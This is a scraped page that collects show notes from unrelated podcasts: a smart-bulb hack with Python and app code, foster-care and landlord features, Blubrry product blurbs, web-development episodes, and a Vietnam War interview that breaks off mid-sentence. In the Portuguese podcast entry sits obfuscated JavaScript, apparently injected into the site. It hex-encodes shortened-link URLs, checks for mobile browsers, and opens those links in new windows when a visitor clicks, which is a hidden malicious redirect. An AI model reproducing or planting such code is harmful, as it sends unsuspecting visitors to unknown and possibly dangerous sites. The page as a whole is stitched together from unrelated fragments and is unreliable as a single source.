Podcasts about addeventlistener

This show has been flagged as Clean by the host. Bulbs Wiz Connected smart light bulbs Exploit Article about hacking the lights Source Code Source code of the hack Cordova Apache Cordova framework for mobile apps Cordova Plugin SSH Connect Cordova Plugin KDE Widgets Mobile Interface Code Python Script wiz-hack.py import socket import time import random import sys ​ if len(sys.argv) < 3: print(help) exit() IP = sys.argv[1] ​ on = """{"params":{"orig":"andr","state":true},"id":6,"method":"setPilot"}""" off = """{"params":{"orig":"andr","state":false},"id":6,"method":"setPilot"}""" ​ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((IP, 38899)) if sys.argv[2] != "on" and sys.argv[2] != "off": print("Changing lights color") b = sys.argv[2] color_send = """{"method":"setPilot","params":{"r":""" + str(255) + ""","g":""" + str(255) + ""","b":""" + str(255) + ""","dimming":""" + str(b) + """}}""" print(color_send) s.sendall(bytes(color_send, "utf-8")) s.close() elif sys.argv[2] == "on": print("Turning on the lights") s.sendall(bytes(on, "utf-8")) s.close() elif sys.argv[2] == "off": print("Turning off the lights") s.sendall(bytes(off, "utf-8")) s.close() Shell Scripts on.sh #!/bin/sh /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 on /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 on /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 on /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 on ​ off.sh #!/bin/sh /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 off /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 off /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 off /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 off light.sh #!/bin/sh /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 "$1" /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 "$1" /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 "$1" /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 "$1" Mobile App index.html (excerpt) ... Light Control ​ On Off ​ ​ Brightness: ​ index.js const user = "user"; const password = "redacted_password"; const host = "192.168.0.218"; const port = "22"; ​ var sshConnect; ​ function on() { sshConnect.connect(user, password, host, port, () => { sshConnect.executeCommand('on.sh', function() { sshConnect.disconnect(); }); }); } ​ function off() { sshConnect.connect(user, password, host, port, () => { sshConnect.executeCommand('off.sh', function() { sshConnect.disconnect(); }); }); } ​ function brightness(level) { sshConnect.connect(user, password, host, port, () => { sshConnect.executeCommand('light.sh '+level, function() { sshConnect.disconnect(); }); }); } ​ document.addEventListener('deviceready', onDeviceReady, false); ​ function onDeviceReady() { sshConnect = cordova.plugins.sshConnect; ​ document.getElementById("onButton").addEventListener("click", () => { // Send "on" command to light console.log("Light turned on"); on(); }); ​ document.getElementById("offButton").addEventListener("click", () => { // Send "off" command to light console.log("Light turned off"); off(); }); ​ document.getElementById("brightnessSlider").addEventListener("input", () => { const level = document.getElementById("brightnessSlider").value; // Send brightness value to light console.log("Brightness set to:", level); brightness(level); }); } Provide feedback on this episode.

What began as a bold experiment in Utah now celebrates 25 years of nurturing families and transforming lives. As we reflect on a quarter-century of dedicated service in foster care, we take a moment to appreciate the profound impact that Utah Foster Care has had on countless children, families, and communities Building on Bold Beginnings Twenty-five years ago, a visionary idea took root in Utah—to create an organization solely focused on recruiting, training, and supporting foster families. Through the leadership of Governor Mike Leavitt and partnerships with community and state agencies, Utah Foster Care emerged as a unique entity dedicated to serving the needs of foster children and the families who care for them. Commitment to Children First At the heart of Utah Foster Care's mission is an unwavering commitment to putting children's needs first. As shared by Brian Young, a regional trainer, the primary goal is to ensure that every child in foster care feels safe, understood, and supported. Brian’s moving recollection of a time when the reality of a child's loss deeply resonated with him emphasizes the importance of empathy and awareness in foster care. Supporting Foster Families The organization’s success also lies in its continuous support for foster families. Debra Lindner and Liz Rivera, co-hosts of the podcast, illustrate how Utah Foster Care goes beyond initial training by maintaining long-term relationships with foster parents. This ongoing support helps equip families with the skills needed to provide nurturing and stable environments for children who have experienced trauma. Recognizing and Addressing Challenges Utah Foster Care has always been proactive in addressing systemic challenges. From embracing cultural diversity to implementing inclusive practices, the organization has made significant strides. Mike, a clinical consultant, and Les, a trainer, discussed efforts to understand and honor the cultural backgrounds of children in care, particularly those from Native American and Latino communities. The Evolution of Training and Understanding In the early years, foster training was more behavior-focused. Over time, it has evolved into a trauma-informed approach grounded in brain science. Understanding the brain's development and the impact of trauma has revolutionized the training provided to foster parents, emphasizing the need for compassion and tailored support. A Vision for the Future Looking ahead, Utah Foster Care aspires to have families waiting for children, not the other way around. The organization remains committed to adapting based on continuous learning and the evolving needs of children and families. The involvement of Governor Cox and First Lady Abby Cox has brought unprecedented attention and resources to the cause, promising even greater progress in the years to come. Conclusion As we commemorate 25 years of Utah Foster Care, we celebrate the resilience of the children, the dedication of foster families, and the passion of the staff. With over 16,000 families trained since 1999, Utah Foster Care stands as a beacon of hope and compassion. For those inspired to join this journey, remember that you don’t need to know everything to become a foster parent—you just need to be willing to learn. To find out more about foster parenting and other ways to get involved, visit utahfostercare.org. Here’s to another 25 years of making a difference, one child at a time. var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==n?t.apply(null,r):r[0]=t.apply(null,r)})),"filter"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}}); Want to learn more about becoming a foster parent? First Name* Last Name* PhoneE-Mail Town State*Select a StateUtahOut of StateCounty*Select a CountyBeaver CountyBox Elder CountyCache CountyCarbon CountyDaggett CountyDavis CountyDuchesne CountyEmery CountyGarfield CountyGrand CountyIron CountyJuab CountyKane CountyMillard CountyMorgan CountyPiute CountyRich CountySalt Lake CountySan Juan CountySanpete CountySevier CountySummit CountyTooele CountyUintah CountyUtah CountyWasatch CountyWashington CountyWayne CountyWeber CountyOUT OF STATEHow did you hear about us?*How did you hear about us?BillboardCare CommunityChurchDCFSEventFacebookFamily/FriendFoster/Adoptive ParentInstagramPartner AgencyPresentation (digital)Presentation (in person)Previously LicensedPrint MediaRadioRaise the FutureTelevisionUFC EmployeeWebsiteWhich type of Care Community?*ChurchBusinessWhich Church Organization?* Which Business?* Δ /* = 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_1');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_1').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){form_content.find('form').css('opacity', 0);jQuery('#gform_wrapper_1').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_1').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_1').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_1').val();gformInitSpinner( 1, 'https://utahfostercare.org/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [1, current_page]);window['gf_submitting_1'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}jQuery('#gform_wrapper_1').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [1]);window['gf_submitting_1'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_1').text());}else{jQuery('#gform_1').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger("gform_pre_post_render", [{ formId: "1", currentPage: "current_page", abort: function() { this.preventDefault(); } }]); if (event && event.defaultPrevented) { return; } const gformWrapperDiv = document.getElementById( "gform_wrapper_1" ); if ( gformWrapperDiv ) { const visibilitySpan = document.createElement( "span" ); visibilitySpan.id = "gform_visibility_test_1"; gformWrapperDiv.insertAdjacentElement( "afterend", visibilitySpan ); } const visibilityTestDiv = document.getElementById( "gform_visibility_test_1" ); let postRenderFired = false; function triggerPostRender() { if ( postRenderFired ) { return; } postRenderFired = true; jQuery( document ).trigger( 'gform_post_render', [1, current_page] ); gform.utils.trigger( { event: 'gform/postRender', native: false, data: { formId: 1, currentPage: current_page } } ); if ( visibilityTestDiv ) { visibilityTestDiv.parentNode.removeChild( visibilityTestDiv ); } } function debounce( func, wait, immediate ) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if ( !immediate ) func.apply( context, args ); }; var callNow = immediate && !timeout; clearTimeout( timeout ); timeout = setTimeout( later, wait ); if ( callNow ) func.apply( context, args ); }; } const debouncedTriggerPostRender = debounce( function() { triggerPostRender(); }, 200 ); if ( visibilityTestDiv && visibilityTestDiv.offsetParent === null ) { const observer = new MutationObserver( ( mutations ) => { mutations.forEach( ( mutation ) => { if ( mutation.type === 'attributes' && visibilityTestDiv.offsetParent !== null ) { debouncedTriggerPostRender(); observer.disconnect(); } }); }); observer.observe( document.body, { attributes: true, childList: false, subtree: true, attributeFilter: [ 'style', 'class' ], }); } else { triggerPostRender(); } } );} ); /* ]]> */

This is the trailer for the Good Landlording podcast, co-hosted and co-founded by Suzanne Smith of The Independent Landlord and Richard Jackson from Alphaletz. Good Landlording is a new weekly podcast that comes out every Wednesday, specifically for landlords and people who want to be landlords. It is also helpful for property investors, housing providers and property businesses who want to understand the issues that matter to landlords. Good Landlording officially launched on 3rd April. The first podcast episode will be released on Wednesday 10 April and is about the most important topic for any business: our customers. For landlords, that's our renters. You can listen to the trailer on the player above or on your favourite podcast app, or read the show notes and links below. You will find the full transcript at the end of this post. Let us know what you think by leaving a comment below or by messaging us on social media: Good Landlording on X or Good Landlording on Instagram. You can also submit a question for Suzanne and Richard to potentially answer on a future podcast episode by completing this Google form. What does the new Good Landlording podcast cover? Each week we take a different challenge that landlords face, and discuss how to tackle it. Practical topics that really matter to landlords, and not just moaning about the state of the private rented sector. We're starting with the topics that members of The Independent Landlord Community private Facebook group suggested, including the following: How to pick good letting agents? How to self-manage? What to do about rent increases? How to tackle damp and mould? What newbie landlords need to know? How to scale your business as a landlord efficiently? How to handle rent arrears? What makes a good tenant? How to choose good tenants? How to be a good landlord? We'll also do regular updates on new legislation, including the Renters Reform Bill, and whatever a new government brings us. This is Suzanne Smith's speciality as she worked as a solicitor for 25 years before becoming a landlord. How do we follow the podcast? Follow us on your favourite podcast app, which you can find in the side bar on this page. You can also sign up to our newsletter using the form below so you'll have easy links to the useful show notes of each episode that will only be available on this website. Can I submit a question for Suzanne and Richard to answer? Yes, we love getting questions from our listeners. You can ask a question or suggest a topic for future podcast episodes by completing this question form, or by sending us your question via our contact form. >> Related post: About Good Landlording >> Submit a question: Click here to complete question form Links to episodes Here are direct links to the episodes: Episode #1: What makes a good tenant? Credits window.addEventListener('message',function(e){'https://widgets.blubrry.com'===e.origin&&'object'==typeof e.data&&(document.getElementById(e.data.senderId).style.height=e.data.height+'px')}) Music: Kevin MacLeod of Incompetech. Licensed under Creative Commons. Transcript Hello, and welcome to Good Landlording. I'm Richard from Alphaletz. And I'm Suzanne from the Independent Landlord blog. Together, we're really excited to bring you a weekly podcast called Good Landlording that we co-host. Each week, we'll pick a particular challenge that landlords face and discuss how to tackle it. Yes, and it's not some dreaded moan-fest about the state of the private rented sector either. The topics that really matter to you, like the practical things. And this podcast is different. So who's it for? Well, landlords, as it says on the tin, people who want to be landlords, those who prefer to be identified as property investors or even housing providers, and anyone in the property business who wants to understand the...

The Thrive Bundle from Blubrry is designed to empower podcasters of all levels. From the novice just starting out to the seasoned professional looking to enhance their show. Combined with our renowned hosting services, detailed analytics, and seamless WordPress integration via the PowerPress Plugin, the Thrive Bundle offers tools and insights that are indispensable for podcast growth and audience engagement. Today the team unpacks each component of the bundle and why it's a steal for anyone looking for that extra dose of podcasting power. Today's Hosts: Todd Cochrane, Mike Dell and MacKenzie Bennett Introducing the Thrive Bundle Pricing: An affordable add-on at just $10 a month to your existing plan. Features of the Thrive Bundle Dynamic Ad Insertion Pre-roll: Automate the insertion of ads or promos at the start of your episodes to promote previous episodes, events, or sponsorships. Expanded Episode Listener Comparison: Analyze five episodes against trending ones to understand listener uptake and engagement. Listener and Subscriber Data: Track your audience growth with new statistics distinguishing between listeners and subscribers. Average Daily Plays (ADP): A unique metric offering insights into show growth and back catalog consumption. Quicklinks: Enhance audience engagement with customizable links, donations, and analytics. Podcast 2.0 Features: Leverage the latest podcasting standards for a richer listener experience. Apple Podcast Reviews: Promote your show's success with easy social media sharing of listener reviews. Extra Metrics Episode Comparison Estimated Audience Average Daily Plays The Value of Quicklinks Simplify audience engagement and support through donations, all while tracking effectiveness with Google Analytics. Dynamic Ad Insertion Benefits of pre-roll ad insertion for monetization and promotion. Upcoming Will be adding our AI service to the Thrive Bundle this spring. Learn more about Blubrry's Thrive Bundle in our write-up here. window.addEventListener('message',function(e){'https://widgets.blubrry.com'===e.origin&&'object'==typeof e.data&&(document.getElementById(e.data.senderId).style.height=e.data.height+'px')})   The best place for support with any Blubrry product or service is our ticket system. Tickets give the whole team access vs. direct emails or calls. General podcasting discussion and more can be shared on the Blubrry Podcasting Facebook group. Fill out our listener survey at surveys.blubrry.com/podcastinsider Hosting customers can schedule a one-on-one call with Todd or a tech checkup with Mike. todd@blubrry.com and mike@blubrry.com

Take your show to the professional level In today's episode we are taking a close look at the benefits of professional podcast hosting -- more so than using a reputable podcast hosting platform -- but the pro hosting plan offered by Blubrry Podcasting. This episode is a goldmine for both budding and experienced podcasters as we explore the comprehensive features that Blubrry's Pro Hosting offers, such as its unmatched bandwidth, detailed analytics, monetization capabilities and robust support and migration process. Today's Hosts: Todd Cochrane, MacKenzie Bennett and Mike Dell Part of our Podcasting 101 series that dives into what podcasters can expect in their creative journey. Main Features of Pro Hosting Blubrry offers a sophisticated pro hosting offering that meets podcasters needs for businesses and organizations, educational institutions, government entities, networks, and creators with large files such as video content creators. Hosting with unlimited bandwidth Advanced Stats Websites: Free managed WordPress Site included for each RSS feed PowerPress Monetization: Dynamic Ad Insertion and Programmatic Advertising Network Showcasing Tool, example: www.techpodcasts.com  Sub Accounts for teams Any size show - video and audio FTP, scalable plans, automatic payments Learn more about Blubrry's Pro Hosting. Pro Hosting Pricing Starts at $100 a month, which includes 1 podcast (show), statistics and free WordPress Site. Additional shows within the plan are a monthly fee of $10/per show. Extra Pro Services Blubrry Pro-Production is a good fit for those looking to bridge the gap between idea to launch as well as launch to routine. The combination of the pro hosting plan, our production partner and of course our highly capable tech support team, Blubrry provides a well-rounded solution for podcasters looking to take their shows to the professional level. Thanks for tuning in to see how Blubrry's Pro Hosting can fit into your podcasting routine. window.addEventListener('message',function(e){'https://widgets.blubrry.com'===e.origin&&'object'==typeof e.data&&(document.getElementById(e.data.senderId).style.height=e.data.height+'px')}) The best place for support with any Blubrry product or service is our ticket system. Tickets give the whole team access vs. direct emails or calls. General podcasting discussion and more can be shared on the Blubrry Podcasting Facebook group. Fill out our listener survey at surveys.blubrry.com/podcastinsider Hosting customers can schedule a one-on-one call with Todd or a tech checkup with Mike. todd@blubrry.com and mike@blubrry.com

In this episode of Syntax, Wes and Scott give a high level overview of the observer pattern, what is the observer, what are downsides to too many observers, and more. Show Notes 00:25 Welcome 01:42 Syntax Brought to you by Sentry 02:16 High level overview Syntax 694: What's Up With Angular with Mark Techson Godot Engine 03:36 What might you observe in game development? 06:50 What is the observer? 08:11 What are some downsides to too many observers? 10:17 IntersectionObserver, MutationObserver, and PerformanceObserver 12:25 ResizeObserver 13:04 What about addEventListener? @BenLesh on Callbacks being faster than observables 16:13 Signals are becoming a big thing Hit us up on Socials! Syntax: X Instagram Tiktok LinkedIn Threads Wes: X Instagram Tiktok LinkedIn Threads Scott: X Instagram Tiktok LinkedIn Threads

In this episode of Syntax, Wes and Scott talk about JavaScript runtimes available to use, what to consider, and packages to use. Show Notes 00:10 Welcome 01:00 Scott's glasses 03:46 All the runtimes Bun — A fast all-in-one JavaScript runtime Edge Functions Supabase Docs Edge Functions Netlify Docs Deno — A modern runtime for JavaScript and TypeScript Fast and low overhead web framework, for Node.js | Fastify What Is Edge Computing? Alibaba 05:15 A note for anyone new to JavaScript 08:40 Winter CG WinterCG 11:05 Fetch sindresorhus/ky: JavaScript HTTP client based on the browser Fetch API website/src/routes/shows/+page.svelte 14:53 URL 20:02 addEVentListener whatwg/fs · Issue #5 · wintercg/proposal-common-minimum-api · GitHub 22:53 Web streams Web Streams Explained — Syntax Podcast 587 26:03 Structured Clone Structured JSON | Worker Tools 33:43 What does JSON 5 do? 34:48 Markdown flavors 36:46 File 40:32 AbortController and AbortSignal DOM Standard DOM Standard 42:45 Packages for building linkedom - npm 44:05 Honking the Hono.dev Itty Router Itty Dev Hono.dev 55:25 SIIIIICK ××× PIIIICKS ××× ××× SIIIIICK ××× PIIIICKS ××× Scott: Macro Factor Wes: CRP Products Shameless Plugs Scott: Sentry Wes: Wes Bos Tutorials Tweet us your tasty treats Scott's Instagram LevelUpTutorials Instagram Wes' Instagram Wes' Twitter Wes' Facebook Scott's Twitter Make sure to include @SyntaxFM in your tweets Wes Bos on Bluesky Scott on Bluesky Syntax on Bluesky

Podcast do Demo #267 Lançado: 04 maio de 2023 Cabecinhas vazias, vamos trocar uma ideia sobre a 7ª arte (também conhecida como interação filmada com o chat GPT - #Brinks)!!! Vamos selecionar os melhores westerns modernos que não usam animais e as disputas de vida ou morte usam cards colecionáveis, indicar os melhores e piores diretores Norte coreanos de cinema mudo e ainda fazer uma lista incrível de filmes de diretoras iraquianas feministas. Não percam o maior e melhor podcast já criado pela humanidade!!! Essa é a Oficina do Demo - HaterShow!!! Inscreva-se no nosso podcast na Spotify, iTunes, Deezer ou na Google Podcasts e ouça o episódio no melhor horário para você! function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx55x61x55x32x63x352','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx73x6ex61x33x63x343','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx52x7ax73x30x63x330','random','-local-storage','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ex43x42x37x63x307','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx58x4dx43x36x63x356','12075252qhSFyR','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ax56x65x38x63x348','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ax62x43x35x63x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx46x55x67x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6bx55x62x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx61x68x78x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll...

In this Hasty Treat, Scott and Wes talk through the differences between modals, popups, popovers, lightboxes, and dialog boxes. Show Notes 00:31 Welcome 02:25 What's popping up? 02:59 What's a modal? 08:33 Pop overs and lightboxes 10:41 Explicit dismiss and light dismiss 11:30 Inert property inert 16:30 Backdrop pseudo element Dialog with animation 19:26 Dialog 28:12:11 Making accessibility easier const showButton = document.getElementById('showDialog'); const favDialog = document.getElementById('favDialog'); const outputBox = document.querySelector('output'); const selectEl = favDialog.querySelector('select'); const confirmBtn = favDialog.querySelector('#confirmBtn'); // "Show the dialog" button opens the modally showButton.addEventListener('click', () => { favDialog.showModal(); }); // "Favorite animal" input sets the value of the submit button selectEl.addEventListener('change', (e) => { confirmBtn.value = selectEl.value; }); // "Confirm" button of form triggers "close" on dialog because of [method="dialog"] favDialog.addEventListener('close', () => { outputBox.value = `ReturnValue: ${favDialog.returnValue}.`; }); Tweet us your tasty treats Scott's Instagram LevelUpTutorials Instagram Wes' Instagram Wes' Twitter Wes' Facebook Scott's Twitter Make sure to include @SyntaxFM in your tweets

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I'm Paul Jay. In his book American Reckoning: The Vietnam War and American Identity, Christian Appy writes: the need to demonstrate presidential balls has been an under-acknowledged but enduring staple of American foreign policy. Aggressive masculinity shaped American Cold War policy and still does. Deep-seated ideas about gender and sexuality cannot be dismissed as mere talk–they have explanatory value. U.S. policy in Vietnam was driven by men who were intensely concerned about demonstrating their own and the nation's toughness. As every other justification of the war grew threadbare, it became increasingly important to appear firm. Now joining us in the studio is Christian Appy. Thanks for joining us again.  CHRISTIAN G. APPY, AUTHOR, AMERICAN RECKONING: You're welcome.  JAY: So one more time, his latest book is American Reckoning: The Vietnam War and Our National Identity. And Christian teaches history at the University of Massachusetts Amherst. So this has always seemed to me, this need to develop, portray firmness and strength and so on, you know, it's akin to, like, a loan shark, and it's actually a lot akin to a loan shark, given how much of American commerce is based on lending people money–and I shouldn't say people; lending countries money, and assuming they're going to pay back. And for most loan sharks, you've got to break some knees once in a while to make sure people pay you the exorbitant interest you're trying to collect. Talk about this need to projected toughness, and start with Kennedy in Vietnam.  APPY: Well, Kennedy early on in his presidency suffered a couple of real blows to his reputation, most obviously when he supported the–orchestrated the invasion of Cuba in an effort to overthrow Castro at the Bay of Pigs. And it was a debacle, and it failed. Every one of the Cuban exiles that was trained to carry out the operation was either killed or captured. And Kennedy was forced to actually pay ransom to get the prisoners back. So what was to be a secret operation was quickly exposed, and it was felt that he felt it as deeply humiliating. And then later that same year he met for the first time with Khrushchev, and Khrushchev effectively kind of bullied him, and once again Kennedy felt that he had not demonstrated his presidential gravitas and was already beginning to look at foreign-policy interventions.  JAY: Can I just add one thing?  APPY: Sure. Yeah.  JAY: And internally taking tremendous flack from some sections of the military and certainly the whole conservative /pʌndərˈæpɨs/–can't say it, but you know what I mean–about being weak.  APPY: Yes.  JAY: I mean, why didn't he go in with a full-fledged invasion of Cuba?  APPY: Right. That, and he was already beginning to sort of move toward a neutralist solution to the communist insurgency in Laos, so he was beginning to think that maybe Vietnam would be the place to assert American credibility and power. But before that really began to develop, we had the Cuban missile crisis, and this for him was a great boost to his reputation and to his reputation for strength and steely resolve.  JAY: Again, really quickly–some of our viewers don't know that what that is.  APPY: Yeah. Well, the United States discovered, through U-2 reconnaissance photographs, that the Soviet Union–  JAY: That was the spy plane. APPY: –the spy plane–that the Soviet Union was beginning to install medium-range nuclear missiles in Cuba–in response, actually, to the U.S.-backed invasion. They were put there as a kind of deterrent, really defensive, though of course all nuclear weapons are almost by definition dangerous.  JAY: And also there were nuclear–United States had weapons in Turkey which were awfully close to Russia.  APPY: We had–exactly. And indeed you speak to the exact resolution of the missile crisis. Kennedy made clear on television that it would not be tolerated. Interestingly enough, he couldn't tolerate it because he had made a speech a couple of months earlier saying that if offensive weapons were put on Cuba by the Soviet Union, he would not allow that. And once it happened, he asked some advisers, does this really change the balance of power in the world? And Kennedy said–McNamara said, no–this is Secretary of Defense McNamara. And Kennedy agreed. He said, I wish I had never said that. I wish I had never drawn that line.  JAY: Yeah, 'cause what could they do with them?  APPY: Yeah. So he had–but now he felt he had to do something. And what he did, thankfully, was to be a little patient and to say no to those of his advisers that immediately wanted to launch airstrikes and take a more aggressive response. They negotiated a settlement. So it really was diplomacy, not bluster or militarism, that solved the crisis. They were willing to say to the Soviets, okay, we will publicly promise never to invade Cuba, and privately we'll agree to remove our missiles from Turkey that are threatening very close to your borders. But the narrative that they wanted to go out to the public was a tougher narrative, that we stared them eyeball to eyeball and the other fellow blinked–that was attributed to–.  JAY: Yeah, 'cause America set up all these military ships, Navy ships as a blockade around Cuba.  APPY: Yes, the sort of the–yes, the quarantine. And Kennedy even went so far as to suggest that Adlai Stevenson, who was representing us at the United Nations, had wanted to sell us out, had wanted to, quote-unquote, Munich, because he had advised that we remove our missiles from Turkey to solve the crisis. And that's exactly what did solve the crisis. But Kennedy didn't want anybody to know that, so he actually threw Stephenson under the bus as a weakling. Anyway, privately he told people that–Kennedy bragged in private to friends that he had cut off Khrushchev's balls. So that really is deeply embedded in the American foreign policy of the period. And it becomes more important, as I write, as the other justifications for the war are no longer believed even by the policymakers. By 1965 or 1966, I believe, Johnson was not convinced that the war in Vietnam posed any threat to national security.  JAY: I want to get to Johnson, but I just want to stay on Kennedy for a minute.  APPY: Okay. Sure.  JAY: You know, there's a lot of debate about the Kennedy assassination. That's whether or not he was really going to pursue Vietnam or not. What's your take?  APPY: Well, I waffle on this issue. As I tell students, it's hard enough as a historian to figure out what actually happens, and nearly impossible to figure out what might've happened if x or y or z had been different. So really these are interesting speculations, but really impossible to nail down. The truth is there's documentary evidence that would support both positions. I mean, those who would like to believe that Kennedy would have pulled us out of Vietnam can cite documents where they're talking about withdrawing 1,000 troops at a time and slowly drawing down our presence. But Kennedy was pretty clear in a lot of that planning that those withdrawals had to be contingent on success. And there was some hope at the time that maybe success was coming, but it needs to be remembered that Kennedy, although he never put more than 16,000 troops into Vietnam, which seems quite a small number when you compare it to the 540,000 that finally ended up there under Johnson, those 16,000 troops had already put into place many brutal practices that would only get expanded. We were–by 1962 we were already using chemical defoliants on South Vietnam. We were using napalm. We were engaged in aerial bombing of South Vietnam, the very land we claimed to be defending. And we were already beginning the forced relocation of people from the rural countryside into what were then called strategic hamlets.  JAY: Concentration camps.  APPY: Effectively concentration camps. So all of that had 